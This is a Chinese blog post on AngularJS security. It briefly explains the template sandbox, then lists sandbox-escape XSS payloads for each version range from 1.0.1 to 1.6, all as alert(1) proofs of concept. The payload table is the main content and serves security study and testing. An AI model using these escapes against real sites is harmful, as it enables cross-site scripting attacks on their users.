Angular使用及其安全问题分析

https://blog.csdn.net/wenrennaoda/article/details/89885722

1、逃逸Payload

     Angular通过“{{expression}}”来作为输出的标志,而对于双括号里面的内容Angular会计计算并输出结果。然而Angular模板表达式会经过沙箱验证,例如:1)不允许使用Function对象;2)不允许使用window对象;3)不允许使用dom对象;4)不允许使用Object对象;5)对obj对象的constructor进行检查,确保其不是Function对象,并且call,apply,bind等方法的调用也是不允许的;6)等等。这些使得直接的javascript语句不能运行,无法进行攻击。

    然而攻击者研究各版本沙箱机制,提出了各版本逃逸Payload,通过这些Payload可对目标网站发动XSS攻击。各版本Payload如下表所示:

AngularJS版本

沙箱逃逸利用有效负载

1.0.1-1.1.5

{{constructor.constructor('alert(1)')()}}

1.2.0-1.2.1

{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].

getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

1.2.2-1.2.5

{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}

1.2.6-1.2.18

{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).

value,0,'alert(1)')()}}

1.2.19-1.2.23

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].

sort(toString.constructor);}}

1.2.24-1.2.29

{{'a'.constructor.prototype.charAt=''.valueOf;$eval ("x='\"+(y='if(!window\\u002ex)

alert(window\\u002ex=1)')+eval(y)+\"'");}}

1.3.0

{{!ready && (ready = true) && (
      !call
      ? $$watchers[0].get(toString.constructor.prototype)
      : (a = apply) &&
        (apply = constructor) &&
        (valueOf = call) &&
        (''+''.toString(
          'F = Function.prototype;' +
          'F.apply = F.a;' +
          'delete F.a;' +
          'delete F.valueOf;' +
          'alert(1);'
        ))
    );}}

1.3.1-1.3.2

{{
    {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
    'a'.constructor.prototype.charAt=''.valueOf;
    $eval('x=alert(1)//');
}}

1.3.3-1.3.18

{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
  'a'.constructor.prototype.charAt=[].join;
  $eval('x=alert(1)//');  }}

1.3.19

{{
    'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;
    $eval('x=alert(1)//');
}}

1.3.20

 {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

1.4.0 - 1.4.9

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

1.3.0 - 1.5.8

{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(1),a')}}

1.5.9 - 1.5.11

 
  1. {{

  2. c=''.sub.call;b=''.sub.bind;a=''.sub.apply;

  3.     c.$apply=$apply;c.$eval=b;op=$root.$$phase;

  4.     $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;

  5.     C=c.$apply(c);$root.$$phase=op;$root.$digest=od;

  6.     B=C(b,c,b);$evalAsync("

  7.     astNode=pop();astNode.type='UnaryExpression';

  8.     astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';

  9.     astNode.argument={type:'Identifier',name:'foo'};

  10.     ");

  11.     m1=B($$asyncQueue.pop().expression,null,$root);

  12.     m2=B(C,null,m1);[].push.apply=m2;a=''.sub;

  13.     $eval('a(b.c)');[].push.apply=a;

  14. }}

 

>=1.6.0

{{constructor.constructor('alert(1)')()}}

    从版本1.6开始,Angular完全删除了沙盒

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值